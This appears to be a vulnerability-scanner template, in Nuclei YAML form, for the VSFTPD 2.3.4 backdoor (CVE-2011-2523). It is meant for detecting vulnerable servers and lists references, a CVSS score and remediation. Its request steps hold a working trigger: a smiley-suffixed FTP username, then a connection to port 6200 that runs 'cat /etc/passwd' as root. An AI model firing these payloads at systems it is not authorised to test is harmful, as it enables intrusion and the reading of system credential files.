id: CVE-2011-2523 info: name: VSFTPD 2.3.4 - Backdoor Command Execution author: pussycat0x severity: critical description: | VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted. reference: - https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/ - https://www.exploit-db.com/exploits/49757 - http://packetstormsecurity.com/files/162145/vsftpd-2.3.4-Backdoor-Command-Execution.html - https://access.redhat.com/security/cve/cve-2011-2523 - https://security-tracker.debian.org/tracker/CVE-2011-2523 remediation: | Update to the latest version of VSFTPD, which does not contain the backdoor. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2011-2523 cwe-id: CWE-78 epss-score: 0.87236 cpe: cpe:2.3:a:vsftpd_project:vsftpd:2.3.4:*:*:*:*:*:*:* metadata: max-request: 2 verified: true shodan-query: product:"vsftpd" vendor: vsftpd_project product: vsftpd tags: cve,cve2011,network,vsftpd,ftp,backdoor variables: cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs tcp: - host: - "{{Host}}:21" inputs: - data: "USER letmein:)\r\nPASS please\r\n" read: 100 - host: - "{{Host}}:6200" inputs: - data: "{{cmd}}\n" read: 100 matchers: - type: regex part: raw regex: - "root:.*:0:0:"